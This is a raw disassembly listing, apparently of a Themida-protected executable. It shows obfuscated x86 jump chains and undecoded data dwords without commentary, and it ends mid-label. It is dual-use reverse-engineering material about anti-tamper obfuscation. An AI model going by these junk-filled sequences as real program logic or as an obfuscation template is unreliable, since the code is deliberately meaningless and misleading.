6FE269Bh, 48BC631h, 4C48124h dd 81000000h, 0B8EBDCEEh, 0FA87E956h, 4BDFFFFh, 1000000h dd 3C875DEFh, 24248B24h, 53C8BE0Fh, 0BFFEE9h, 1EF28100h dd 0C1050609h, 0CA8107EAh, 27F629BCh, 911CE9h db 0 ; --------------------------------------------------------------------------- loc_5537E1: ; CODE XREF: Themida_:0056095Ej mov [esp], eax push 1FB3h mov [esp], ebx mov ebx, 3E3C2D17h mov eax, ebx mov ebx, [esp] add esp, 4 push 0 sub [esp], eax mov eax, [esp] add esp, 4 not eax inc eax shr eax, 1 sub eax, 3BDB0BF6h and eax, 3AF207F1h push 45D1h mov [esp], ebp mov ebp, 30815B15h shl ebp, 6 shl ebp, 2 xor ebp, 9CE4BA9h push ebx mov ebx, 2ECF0FBEh shl ebx, 3 inc ebx add ebx, 1 or ebx, 7EA86425h or ebx, 1B23036Fh jmp loc_55F54C ; --------------------------------------------------------------------------- db 1 dd 0D6295EF2h, 240C8B5Ah, 81E18951h, 4C1h, 4C18100h, 87000000h dd 525C240Ch, 2BAh, 0CF6E900h, 0BB530001h, 484316ACh, 5099C381h dd 0F3816161h, 0B7030C31h, 815BD901h, 49B841E9h, 59CE313Ch dd 89F08950h, 348B58C2h, 4C48324h, 318FE942h, 0EA050001h dd 1BBBCE1h, 0FB0158C7h, 12639E9h, 24148900h, 8152E9h dd 0E9DAF600h, 9E1Ah, 0C744E95Dh, 0E95B0000h, 0C80h, 81240C8Bh dd 4C4h, 0E5CBE900h, 0C890000h, 0B1515224h, 0FFCA88C4h dd 83592434h, 0C36804C4h, 8900000Fh, 0C2B1240Ch, 123DBE9h dd 0D9015F00h, 2C1815Bh, 87000000h, 5C240Ch, 0C2A8E9D8h dd 4B5B0000h, 0C381DBF7h, 62915CE3h, 0E326EB81h, 0DA891068h dd 5B2434FFh, 104C483h, 0F685AD1h, 89000020h, 6851241Ch dd 31936DFCh, 6C18159h, 89CE6C92h, 240C8BCBh, 5585450h dd 4, 4BD55h, 992D0000h, 2D2E9B25h, 21DD0AB1h, 0B105E801h dd 0E921DD0Ah, 0A0D9h ; --------------------------------------------------------------------------- loc_553970: ; CODE XREF: Themida_:0055CE42j pop esp jmp loc_555B3A ; --------------------------------------------------------------------------- loc_553976: ; CODE XREF: Themida_:0055FAC7j not edx xchg eax, edx not eax xchg eax, edx xor edx, eax xor eax, edx xor edx, eax dec eax xchg eax, edx not edx push 3354h jmp loc_55960D ; --------------------------------------------------------------------------- dd 0BDE9FA29h db 58h, 2 dup(0) ; --------------------------------------------------------------------------- loc_553997: ; CODE XREF: Themida_:0055BF8Cj pop edx jmp loc_556E4F ; --------------------------------------------------------------------------- loc_55399D: ; CODE XREF: Themida_:0055BD03j inc esi push ebx jmp loc_55FD25 ; --------------------------------------------------------------------------- dd 4245401h, 2434FF5Ah, 74E7E9h, 4DEE8000h, 8073F680h dd 3EE99AEEh db 0B0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5539BF: ; CODE XREF: Themida_:00552FAAj pop esp mov [esp], ecx push eax mov eax, 2FC41EBCh add [esp+4], eax mov eax, [esp] add esp, 4 mov esi, [esp] add esp, 4 sub esi, 2FC41EBCh jmp loc_55267C ; --------------------------------------------------------------------------- aIXsm1 db '(Xι1',0 align 4 dd 2BDh, 0FAE4E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5539F6: ; CODE XREF: Themida_:00563F10j sub esp, 4 mov [esp], esi jmp loc_552926 ; --------------------------------------------------------------------------- db 0BBh, 4Fh, 2Eh dd 0BD5511C7h, 0 dd offset dword_54F69C+4Dh dd 6F6DBB00h, 0DE8925DBh, 1191EE9h db 0 ; --------------------------------------------------------------------------- loc_553A1D: ; CODE XREF: Themida_:0055C913j pop eax add esi, 0D9D1DC5h shl esi, 1 jmp loc_55F296 ; --------------------------------------------------------------------------- db 1 dd 83555AD0h, 148904ECh, 3883BA24h, 0F2816F1Dh, 253B27D4h dd 3B6268h, 71D0E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553A4A: ; CODE XREF: Themida_:0055597Dj add edx, 4E73109Eh add edx, 120E5ACFh add edx, 5C57277Ch sub edx, 531B889Ch add ebx, edx jmp loc_5647C6 ; --------------------------------------------------------------------------- db 5Ch, 66h, 8Bh dd 67E92404h db 1Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_553A73: ; CODE XREF: Themida_:0055A4C6j xchg edi, esi not edi jmp loc_561748 ; --------------------------------------------------------------------------- loc_553A7C: ; CODE XREF: Themida_:00555CD9j sub bl, al push cx jmp loc_55758C ; --------------------------------------------------------------------------- db 80h, 0C5h, 0B1h dd 0E9E7C580h, 0ECF7h ; --------------------------------------------------------------------------- loc_553A90: ; CODE XREF: Themida_:005606ABj sub edi, 491701EBh pop ecx and edi, 452E2A40h jmp loc_55DD1D ; --------------------------------------------------------------------------- loc_553AA2: ; CODE XREF: Themida_:005646C0j sub ebp, 4 xchg ebp, [esp] jmp loc_55CB11 ; --------------------------------------------------------------------------- dd 4596B951h, 49E9676Fh, 100013Ch, 14875DEAh, 0C8B5C24h dd 4EC8124h, 89000000h, 8AE9240Ch db 2Ch, 1, 0 ; --------------------------------------------------------------------------- loc_553AD3: ; CODE XREF: Themida_:0055EE14j pop edx jmp loc_5643DE ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 57000000h, 0C7815F54h, 4, 8704EF83h, 248B243Ch, 243C8924h dd 88D6853h, 86E902E4h, 310000CAh, 0EB815EF7h, 4B5B360Ch dd 0BD55FB29h, 4B5B360Ch, 5AE9EB01h db 0B2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_553B17: ; CODE XREF: Themida_:00556F57j add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx mov ebx, 4 add edi, ebx mov ebx, [esp] jmp loc_557E15 ; --------------------------------------------------------------------------- loc_553B36: ; CODE XREF: Themida_:00554BFCj sub ebx, 44454518h jmp loc_563C7D ; --------------------------------------------------------------------------- db 68h, 37h, 0 dd 2C890000h, 0B9515724h, 791700A8h, 118B9E9h db 0 ; --------------------------------------------------------------------------- loc_553B55: ; CODE XREF: Themida_:005571ECj mov al, bl pop bx jmp loc_561949 ; --------------------------------------------------------------------------- dw 34FFh dd 3AE95824h, 0C1FFFFF3h, 0E38107E3h, 75151628h, 11284E9h dd 4EC8300h, 0B9240C89h, 4, 75E9CA01h, 890000BCh, 4832424h dd 0E95B0424h, 4F43h, 6EC480h, 24048BE3h, 0FFEB14E9h, 41D1F7FFh dd 4B15BF57h, 0F93134EEh, 0BA52535Fh, 0FC3A24FCh, 815AD389h dd 5D0A4FC1h, 0FBA3E978h, 0E8C1FFFFh, 227CE905h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553BCA: ; CODE XREF: Themida_:0056161Bj mov [esp], ebx jmp loc_55CBD7 ; --------------------------------------------------------------------------- loc_553BD2: ; CODE XREF: Themida_:00562B3Fj not dword ptr [esp] pop ebx inc ebx neg ebx jmp loc_563909 ; --------------------------------------------------------------------------- loc_553BDE: ; CODE XREF: Themida_:005548E6j sub edi, 5CD52CBAh sub edi, 104E49E4h jmp loc_561586 ; --------------------------------------------------------------------------- db 5Ch dd 4C681h, 34870000h, 24248B24h, 0FFE978E9h db 0FFh ; --------------------------------------------------------------------------- loc_553C01: ; CODE XREF: Themida_:00556E88j push eax push 4E14h mov [esp], edi push ebx push esi mov esi, 6EEB52F4h jmp loc_561104 ; --------------------------------------------------------------------------- loc_553C16: ; CODE XREF: Themida_:00552789j dec ebp add ebp, 51AD4B8Bh sub ebp, 1323332h sub ebp, 12693264h jmp loc_55790C ; --------------------------------------------------------------------------- loc_553C2E: ; CODE XREF: Themida_:00557F27j add ch, 5Bh add bl, ch pop ecx push 3B1Bh mov [esp], ecx mov ch, 18h push eax mov al, 3Fh jmp loc_55E65A ; --------------------------------------------------------------------------- dw 53B5h dd 2848C580h, 0DE8859EBh, 0B450665Bh, 66E608EBh, 0C0DEF658h dd 3AE902E6h, 0FF0000F0h, 34FF2434h, 6AE95924h, 0D10000EDh dd 1EA83EAh, 9D80EA81h, 0E9552DA9h, 4D11h ; --------------------------------------------------------------------------- loc_553C80: ; CODE XREF: Themida_:005678EEj mov edx, ebp jmp loc_55E29B ; --------------------------------------------------------------------------- db 81h dd 4C4h, 40500h, 4050000h, 83000000h, 48904ECh, 2474FF24h dd 0CFB0E904h, 0E1890000h, 4C181h, 0E9830000h, 604BE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553CB6: ; CODE XREF: Themida_:0055F728j add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add ecx, 4 add ecx, 4 push eax mov eax, esp push ebp push ecx jmp loc_566C4D ; --------------------------------------------------------------------------- db 2Dh, 0F6h, 50h dd 575D3311h, 7C25E9h, 28BB5300h, 812EAC09h, 9620ADF3h dd 0E9DD2115h, 0E781h, 243C8B66h, 2AE468h, 24048900h, 405E089h dd 5000000h, 2, 8B240487h, 81662424h, 0F3CF9EBh, 0C0E9C0B7h dd 0C0000125h, 0D7F608EFh, 888CF780h, 241C8BFDh, 4C481h dd 0F5800000h, 0F6C5FE33h, 0F6DBE9D5h, 0DE680000h, 5B526E04h dd 4245C29h, 242C815Bh, 41424E54h, 8904EC83h, 7EBA2414h dd 2923857Bh, 8B042454h db 14h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_563795 ; --------------------------------------------------------------------------- loc_553D7A: ; CODE XREF: Themida_:0055EF77j and eax, ebp push dword ptr [esp] pop ebp add esp, 4 or eax, eax jmp loc_5576D3 ; --------------------------------------------------------------------------- loc_553D8D: ; CODE XREF: Themida_:00552C51j push 3910h mov [esp], esi mov esi, 0BF12C86h sub esi, 2EA50729h and esi, 3E3F42E6h shl esi, 4 shl esi, 6 sub esi, 30011001h push ecx mov ecx, 30440DEBh jmp loc_562ABF ; --------------------------------------------------------------------------- aIPiIXsje db 'ΪPΠΑXιjE',0 align 2 dw 268h dd 5A000000h, 7427C681h, 0EE8176F2h, 117E77EDh, 0BA52D601h dd 117E77EDh, 0A1B4E9h, 48B6600h, 60D46824h, 34890000h dd 4EC8124h, 54000000h, 8324048Fh, 0E9042404h, 1187Ah dd 8F2A1F68h, 0F795580Eh, 580595DDh, 57B3A75h, 742A7868h dd 0E16CE9h db 0 ; --------------------------------------------------------------------------- loc_553E21: ; CODE XREF: Themida_:005648B9j xor ebx, eax jmp loc_557023 ; --------------------------------------------------------------------------- dd 786FB850h, 0E8C10F03h, 0D2BD5506h, 0E926781Fh, 10830h ; --------------------------------------------------------------------------- loc_553E3C: ; CODE XREF: Themida_:00562D27j push edi push ebp mov ebp, 13B90BA7h push ebp add dword ptr [esp], 76F73314h pop edi jmp loc_565203 ; --------------------------------------------------------------------------- loc_553E51: ; CODE XREF: Themida_:00563923j and edi, 21A44133h sub edi, 1800014h add eax, edi pop edi shl eax, 7 inc eax push ebp mov ebp, 4000BF7Dh sub eax, 760D60E8h sub eax, ebp add eax, 760D60E8h pop ebp add ebx, eax mov eax, [esp] add esp, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp push 7403h mov [esp], edx push esi mov esi, esp sub esp, 4 mov [esp], ecx mov ecx, 4 push edi mov edi, 322B6118h sub esi, edi jmp loc_55C12F ; --------------------------------------------------------------------------- dd 4C681h, 0C6810000h, 4, 2474FF56h, 1884E904h, 14870000h dd 1C895C24h, 62DABB24h, 0D8214F2Ch, 0DD72055Bh, 0D3E9BBD3h db 25h, 1, 0 ; --------------------------------------------------------------------------- loc_553EDB: ; CODE XREF: Themida_:005557CAj add ebx, 3BFF380Dh push edx jmp loc_562FFA ; --------------------------------------------------------------------------- db 0FFh dd 8BE92434h, 8B00011Ch, 90E9242Ch, 5600004Dh, 10A88E9h db 0 ; --------------------------------------------------------------------------- loc_553EFD: ; CODE XREF: Themida_:00564C67j pop ebx add eax, ebx pop ebx jmp loc_56587C ; --------------------------------------------------------------------------- loc_553F06: ; CODE XREF: Themida_:0055A319j xor ebx, 17B478ECh push ebp mov ebp, 48753BA2h shl ebp, 3 sub ebp, 840FB955h xor ebx, ebp pop ebp add ecx, 73F104ECh sub ecx, ebx sub ecx, 73F104ECh mov ebx, [esp] add esp, 4 mov ebp, [esp] add esp, 4 jmp loc_554D7C ; --------------------------------------------------------------------------- aPsbd db 'PιBD',0 dw 5300h dd 0C381E389h, 4, 4C381h, 1C870000h, 1EE95C24h db 0E6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553F5B: ; CODE XREF: Themida_:00559DF3j mov edi, 1B9D54EFh neg edi dec edi add edi, 45F491CFh xor eax, edi mov edi, [esp] add esp, 4 push edi mov edi, 6B71B4Eh sub edi, 90B8A836h sub eax, edi push dword ptr [esp] pop edi add esp, 4 xor esi, eax mov eax, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_55F758 ; --------------------------------------------------------------------------- dw 0E7D1h dd 0F781EFD1h, 327E3DE4h, 76546205h, 2A5CE927h, 0E95D0001h dd 138DAh ; --------------------------------------------------------------------------- loc_553FBC: ; CODE XREF: Themida_:005621F0j push dword ptr [esp] push dword ptr [esp] jmp loc_55D873 ; --------------------------------------------------------------------------- db 29h dd 5E082474h, 1DE95355h db 0FCh, 2 dup(0) ; --------------------------------------------------------------------------- loc_553FD3: ; CODE XREF: Themida_:00567591j push 7DF2h mov [esp], edi mov edi, esp jmp loc_5612F0 ; --------------------------------------------------------------------------- loc_553FE2: ; CODE XREF: Themida_:0055321Aj push esp jmp loc_552F9D ; --------------------------------------------------------------------------- loc_553FE8: ; CODE XREF: Themida_:0055B517j mov [esp], ebx mov ebx, 7A112F24h xor [esp+4], ebx pop ebx jmp loc_55AB35 ; --------------------------------------------------------------------------- dd offset dword_53A858+410h dw 8900h dd 0F7E9240Ch, 89000084h, 0BE562404h, 599352A8h, 4247431h dd 0A07DE95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55401A: ; CODE XREF: Themida_:0056324Bj not eax dec eax shl eax, 6 neg eax push edi mov edi, 0D984C1A9h add eax, edi jmp loc_562E72 ; --------------------------------------------------------------------------- loc_55402F: ; CODE XREF: Themida_:005571D1j mov eax, [esp] add esp, 4 push 306Bh jmp loc_5585D1 ; --------------------------------------------------------------------------- loc_554042: ; CODE XREF: Themida_:005646E7j xor ebx, 46170CEh add edi, ebx jmp loc_56315A ; --------------------------------------------------------------------------- db 1 dd 5685DE9h, 89000072h, 70E9240Ch, 81FFFFF2h, 0C5E57FEDh dd 8E5C1D2h, 92F5814Dh, 505EA47Dh, 451BE9h, 24048B00h dd 5104C483h, 0C1815954h, 4, 8104C183h, 4ECh, 240C8900h dd 48A6E9h, 24348900h, 55ADE9h, 24248B00h, 10124E9h, 0D8316600h dd 0E789575Bh, 13C68h, 242C8900h, 60656857h, 3C8B2DA0h dd 4C48324h, 852E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5540C6: ; CODE XREF: Themida_:00562E73j add ebx, eax jmp loc_560A34 ; --------------------------------------------------------------------------- db 5Dh, 0E9h, 8Ah db 1Dh, 1, 0 ; --------------------------------------------------------------------------- loc_5540D3: ; CODE XREF: Themida_:00556DBAj push eax push bx jmp loc_55D3C7 ; --------------------------------------------------------------------------- db 31h dd 0B9515FFBh, 1D88DF8h, 0E959CB01h, 0EB8h, 8959CD89h dd 0D3F75DEBh, 49C6E381h, 0F3812A9Bh, 33DA7B81h, 15BDD29h dd 45C581D5h, 0E91BD132h, 0CE00h ; --------------------------------------------------------------------------- loc_554110: ; CODE XREF: Themida_:0055E937j sub ebx, edi add ebx, 62482511h jmp loc_56728D ; --------------------------------------------------------------------------- aS_8 db '^ιΞΘ',0 dw 8700h dd 895C2404h, 38B82404h, 0E97D490Ch, 943Bh, 0B2DBF57h dd 0B8500939h, 7BBD7140h, 0DA009135h, 0FA78E914h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55414A: ; CODE XREF: Themida_:00566401j pop ebx add esp, 4 rep movsd add esp, [edx+38h] push 3433h mov [esp], esi jmp loc_55657E ; --------------------------------------------------------------------------- loc_554160: ; CODE XREF: Themida_:0055F38Bj mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], eax push ebp mov ebp, 68136564h mov eax, ebp pop ebp not eax sub eax, 421427A2h jmp loc_56439A ; --------------------------------------------------------------------------- dw 5F59h dd 812DC829h, 0E9092205h, 0CA44h ; --------------------------------------------------------------------------- loc_554198: ; CODE XREF: Themida_:0055A899j push ebx pop edi pop ebx not edi add edi, 1 or edi, 21A14FC9h jmp loc_558044 ; --------------------------------------------------------------------------- loc_5541AB: ; CODE XREF: Themida_:0055FE10j pop esi xor esi, 786452ECh mov eax, esi pop esi add eax, 1 jmp loc_566815 ; --------------------------------------------------------------------------- aSg db '\ιG/',0 db 0 ; --------------------------------------------------------------------------- loc_5541C3: ; CODE XREF: Themida_:0056215Ej pop eax pop ebx shr eax, 2 not eax xor eax, 66A92A88h inc eax push ebp mov ebp, 40A6473Ch jmp loc_55DAD0 ; --------------------------------------------------------------------------- db 81h dd 4C5h, 4C58300h, 8B242C87h, 0E9412424h, 5827h, 0D3068h dd 8A14E900h, 0BE0000h, 29000000h, 8BF289D6h, 0C4832434h dd 8E2C104h, 0D639C281h, 47E9CF4Ah, 58000110h, 19468DB8h dd 14F6E930h, 8B660000h, 0EC832404h, 24048904h, 1E72E9h db 0 ; --------------------------------------------------------------------------- loc_554231: ; CODE XREF: Themida_:00557F70j mov eax, 7196597Ah sub eax, 32A4F45Ah sub edx, eax mov eax, [esp] add esp, 4 sub eax, edx pop edx add eax, 3301DF13h jmp loc_55E62C ; --------------------------------------------------------------------------- loc_554250: ; CODE XREF: Themida_:0055A28Bj mov al, bl mov ebx, [esp] add esp, 4 sub esp, 4 mov [esp], edx mov dh, al not dh mov al, dh jmp loc_557973 ; --------------------------------------------------------------------------- dd 3104C483h, 26685AD0h, 89000012h, 0B268242Ch, 0E976EAEFh dd 0CE67h, 50243489h, 123E6E9h, 0D2B95100h, 8103D619h dd 7C0D83F1h, 11F3E902h, 2C890000h, 8FE95424h, 0FF0000A5h dd 0FF042474h, 68582434h, 35FDh, 54241C89h, 4C3815Bh, 81000000h dd 4EBh, 241C3300h, 0E9241C31h, 661Dh ; --------------------------------------------------------------------------- loc_5542D0: ; CODE XREF: Themida_:0055FC37j mov [esp], ebx push dword ptr [esp] mov eax, [esp] push ecx mov ecx, esp add ecx, 4 push edx push 4 pop edx add ecx, edx pop edx xchg ecx, [esp] jmp loc_565941 ; --------------------------------------------------------------------------- dd 8B243487h, 0DE042424h, 8904EC83h, 15B62414h, 97E9D6F6h db 50h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55430B: ; CODE XREF: Themida_:0055A80Bj and ecx, 34B75AFh sub ecx, 1 not ecx push ebp jmp loc_5640E4 ; --------------------------------------------------------------------------- dd 7AFC282Dh, 0E9C52909h, 0DED5h, 240C8B66h, 8904EC83h dd 5954240Ch, 4C181h, 0E9810000h, 4, 31240C33h, 0F7E9240Ch dd 66000017h, 5024048Bh, 0EC81E089h, 4, 0BF243C89h, 3D0E5E30h dd 0FFFFC781h, 0BA52FFFFh, 18A40BE4h, 5247C281h, 0D731246Ah dd 8BF8015Ah, 4368243Ch, 89000033h, 0E0892404h, 405h, 4C08300h dd 5C240487h, 2BE56h, 0D5E90000h, 8300009Bh, 2C8704C5h dd 23E95C24h, 680000B6h, 7D5h, 5C89E9h, 0FD895B00h, 83243C8Bh dd 6804C4h, 29000000h, 815D242Ch, 975701CDh, 60CD816Fh dd 0E96F2B01h, 9A5Eh, 59241CF6h, 0D1F6D9F6h, 0D3E9C9FEh dd 81000072h, 0E678FBC6h, 24148B00h, 9A6EE9h, 3AF8BD00h dd 19E9368Ah, 59000049h, 5D11E9h, 57EE8100h, 1029073h dd 57C681FEh, 81029073h, 0B4286FC6h, 81B9E928h, 0E95D0000h dd 71Ch ; --------------------------------------------------------------------------- loc_554420: ; CODE XREF: Themida_:00558F8Ej sub ecx, ebp pop ebp and ecx, 1E1088Ch push 3CCDh mov [esp], edi mov edi, 20D609CBh jmp loc_560BA7 ; --------------------------------------------------------------------------- db 89h dd 24048BC6h, 4C481h, 0F6810000h, 6EB674ADh, 6236E681h dd 0E9531E33h, 0E09Dh ; --------------------------------------------------------------------------- loc_554458: ; CODE XREF: Themida_:0055779Aj mov ecx, 0 sub ecx, 32B269FBh sub ecx, esi jmp loc_56734B ; --------------------------------------------------------------------------- loc_55446A: ; CODE XREF: Themida_:005667E5j dec al jmp loc_5561E7 ; --------------------------------------------------------------------------- loc_554471: ; CODE XREF: Themida_:00556858j pop ebx add edi, esi pop esi xchg edi, [esp] mov esp, [esp] and eax, 29AF6D6Ah jmp loc_5629A6 ; --------------------------------------------------------------------------- db 0ADh, 81h, 0ECh dd 4, 0BA241489h, 170A793Dh, 0C04AE9h, 7FC38100h, 0FF13CD54h dd 148B2434h, 4C48324h, 4C481h, 0E9520000h, 5495h ; --------------------------------------------------------------------------- loc_5544B4: ; CODE XREF: Themida_:0056681Cj mov edi, edx pop edx jmp loc_558989 ; --------------------------------------------------------------------------- dd 2507EB81h, 0DA31D476h, 0FFD7015Bh, 555A2434h, 131C0E9h dd 5166AC00h, 4EC81h, 0A0E90000h, 5300002Fh, 0FD43D068h dd 0EB815B42h, 42FD43CCh, 1C8BD801h, 2B90E924h db 1, 0 ; --------------------------------------------------------------------------- loc_5544F6: ; CODE XREF: Themida_:00561D6Dj pop ecx pop edx and ebp, esi pop esi jmp loc_56086A ; --------------------------------------------------------------------------- loc_554500: ; CODE XREF: Themida_:0055AFE1j pop edi sub ebx, 6D36E43h xor ebx, 58C8498Fh shr ebx, 8 jmp loc_558392 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 68241489h, 11F0BE8h, 7EAC15Ah, 0BC5BE957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55452A: ; CODE XREF: Themida_:005676FFj xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] jmp loc_55C3F7 ; --------------------------------------------------------------------------- loc_55453B: ; CODE XREF: Themida_:0056567Dj mov edx, esp add edx, 4 jmp loc_55EC77 ; --------------------------------------------------------------------------- dd 0FF242C89h, 0E9042474h, 12C6Bh, 0A5BD5550h, 0E930BF7Fh dd 3FA6h ; --------------------------------------------------------------------------- loc_554560: ; CODE XREF: Themida_:00558908j pop ebx sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax mov eax, 768616A9h jmp loc_5624DA ; --------------------------------------------------------------------------- db 81h, 0CEh, 0D7h dd 81715409h, 736386E6h, 70DE92Ah db 1, 0 ; --------------------------------------------------------------------------- loc_554586: ; CODE XREF: Themida_:00556595j mov bl, cl mov ecx, [esp] add esp, 4 and bl, 6Fh shl bl, 1 sub esp, 2 mov [esp], ax mov ah, 1 add bl, 0BBh add bl, ah sub bl, 0BBh pop ax sub bl, 0D8h sub bl, dh pop edx mov dl, bl pop ebx jmp loc_564B0A ; --------------------------------------------------------------------------- loc_5545B4: ; CODE XREF: Themida_:0056204Aj mov esi, 19817202h sub ecx, esi mov esi, [esp] jmp loc_566F73 ; --------------------------------------------------------------------------- db 87h dd 0E95C240Ch, 0DD28h, 53F8005Bh, 0DFF6ADB7h, 28EDB252h dd 1EE5E9D7h, 815A0001h, 0C41219EFh, 5FFA01F9h, 21EFE9h dd 0EC83AD00h, 240C8904h, 393856B9h, 0E9E1D125h, 8DEh dd 2DBE565Dh, 3145624Fh, 36FDE9F5h, 0BF5D0000h, 0EA7726CEh dd 0E95DEF01h, 44Ch ; --------------------------------------------------------------------------- loc_55461C: ; CODE XREF: Themida_:00564530j add esp, 4 push esi mov esi, 33BF2343h shr esi, 2 xor esi, 41D5178h and esi, 6DEA5C8Bh not esi xor esi, 76407423h push edx mov edx, 0CB5F9AACh sub esi, 36FA0863h sub esi, edx push ebp push ebx push 123B0825h mov ebx, [esp] add esp, 4 add ebx, 24BF003Eh jmp loc_557A23 ; --------------------------------------------------------------------------- loc_554665: ; CODE XREF: Themida_:00564B5Cj xchg edx, [esp] jmp loc_55D6ED ; --------------------------------------------------------------------------- db 0E9h, 7, 0DFh dd 8952FFFFh, 76E2E9E2h, 0C5010000h, 6673E9h, 0C335A00h dd 240C3124h, 0E9240C33h, 1B34h, 0E95EF789h, 96A8h, 650A6B05h dd 2DF8015Eh, 5E650A6Bh, 2434FF5Fh, 4C4835Eh, 0FFDEC8E9h db 0FFh ; --------------------------------------------------------------------------- loc_5546B1: ; CODE XREF: Themida_:005600D7j push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 add esp, 4 jmp loc_5551C3 ; --------------------------------------------------------------------------- dw 0EB81h dd 578102D1h, 7E6EE9h, 0DDF75800h, 0E902EDC1h, 0E206h ; --------------------------------------------------------------------------- loc_5546DC: ; CODE XREF: Themida_:00563C88j add esp, 4 add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] loc_5546EE: ; CODE XREF: Themida_:loc_5576D3j sub esp, 4 jmp loc_5621F5 ; --------------------------------------------------------------------------- db 55h, 0BDh, 0E9h dd 8159832Fh, 0BB6E92F5h, 0A9E5817Dh, 8129A114h, 744E4BCDh dd 0E72DE947h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554716: ; CODE XREF: Themida_:005550F5j add ebp, 4 push esi mov esi, 4 add ebp, esi pop esi xchg ebp, [esp] jmp loc_55C534 ; --------------------------------------------------------------------------- loc_55472D: ; CODE XREF: Themida_:005553A0j add ecx, eax pop eax jmp loc_5663FE ; --------------------------------------------------------------------------- db 1, 0C2h, 81h dd 0F7001FC2h, 44C28121h, 81749B4Ch, 301377C2h, 0DE2BE909h dd 2C8BFFFFh, 4C48124h, 0E9000000h, 0CFE1h, 32AE95Ch, 0EE890001h dd 97E94E5Dh db 84h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55476B: ; CODE XREF: Themida_:0055BBF0j pop dword ptr [esp] add dword ptr [esp], 4 pop ebx push esi jmp loc_5533DB ; --------------------------------------------------------------------------- dd 0D0F48058h, 0E958E228h, 4727h, 5724048Bh, 4CE9E789h db 0BCh, 2 dup(0) ; --------------------------------------------------------------------------- loc_554793: ; CODE XREF: Themida_:0055E77Fj and ecx, 52AD7C93h push ebp mov ebp, 78066DBDh xor ebp, 2A641510h jmp loc_558F85 ; --------------------------------------------------------------------------- dw 489h dd 0C023B424h, 0E48005ECh, 6EAE98Bh db 1, 0 ; --------------------------------------------------------------------------- loc_5547BA: ; CODE XREF: Themida_:005547E5j sub eax, 6F8B748Eh jmp loc_55E650 ; --------------------------------------------------------------------------- dd 57241489h, 0BB3F76BFh, 0C1DFF725h, 0F78106E7h, 0A9870756h dd 0E95FFA89h, 880Ah ; --------------------------------------------------------------------------- loc_5547E0: ; CODE XREF: Themida_:005667BEj mov eax, 256A2025h jmp loc_5547BA ; --------------------------------------------------------------------------- dw 489h dd 0D9D6B824h, 0C501BAB1h, 8324048Bh, 0E92904C4h, 0FFCF015Dh dd 0C8B2434h, 4C48324h, 8304C483h, 3C8702C7h, 24248B24h dd 4A30F66h, 0C7E99C24h db 7Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_55481F: ; CODE XREF: Themida_:00557833j add ebx, edx pop edx xchg ebx, [esp] pop esp mov edi, 0F356E5FFh sub edi, ebp pop ebp xor esi, edi mov edi, [esp] add esp, 4 add esi, 0B0A4E4C3h and eax, esi push dword ptr [esp] pop esi sub esp, 4 jmp loc_561440 ; --------------------------------------------------------------------------- db 0F6h, 0D1h, 0E9h dd 9F00h, 42474FFh, 24048F58h, 0FFF208E9h db 0FFh ; --------------------------------------------------------------------------- loc_554861: ; CODE XREF: Themida_:0055B8CDj sub dword ptr [esp], 5BF10FB1h pop ebp add ebp, 5BF10FB1h mov ebx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp xor ebp, 0D4C391Bh push 4D84h mov [esp], esi jmp loc_566406 ; --------------------------------------------------------------------------- db 81h dd 85390C3h, 0B850587Dh, 0FB23519h, 0A1700C05h, 0EE6EE907h dd 77BBFFFFh, 81196B7Dh, 894437EBh, 43D3F71Dh, 8104EBC1h dd 1EBCA5EBh, 0E9DF31EFh, 0FFFFFAE1h, 0E9243C33h, 0CCE2h ; --------------------------------------------------------------------------- loc_5548D8: ; CODE XREF: Themida_:0055C70Bj add edi, 104E49E4h add edi, 5CD52CBAh add edi, esi jmp loc_553BDE ; --------------------------------------------------------------------------- loc_5548EB: ; CODE XREF: Themida_:0056543Dj add edx, 4 xchg edx, [esp] pop esp push ebp jmp loc_56429D ; --------------------------------------------------------------------------- loc_5548F8: ; CODE XREF: Themida_:00556B5Bj push 0E9B6445h pop ebx jmp loc_55E830 ; --------------------------------------------------------------------------- aM1Ysoj db 'Ή`=M]1ΘYι',0 align 10h loc_554910: ; CODE XREF: Themida_:0055F4EEj push dword ptr [esp] jmp loc_56021F ; --------------------------------------------------------------------------- dd 8F69F2BBh, 0E0EB815Eh, 8115A135h, 451635F3h, 0E9DF014Bh dd 7F1Eh ; --------------------------------------------------------------------------- loc_554930: ; CODE XREF: Themida_:0055AB82j mov ebp, [esp] add esp, 4 jmp loc_555F0A ; --------------------------------------------------------------------------- db 8Bh dd 1C892424h, 2C6824h, 1C8B0000h, 9B3FE924h, 96350000h dd 89122557h, 0E3E958C6h, 89000110h, 0FF54243Ch, 0E95F2434h dd 0B422h, 24048F5Ah, 10CA3E9h, 0C7E95500h db 15h, 1, 0 ; --------------------------------------------------------------------------- loc_554977: ; 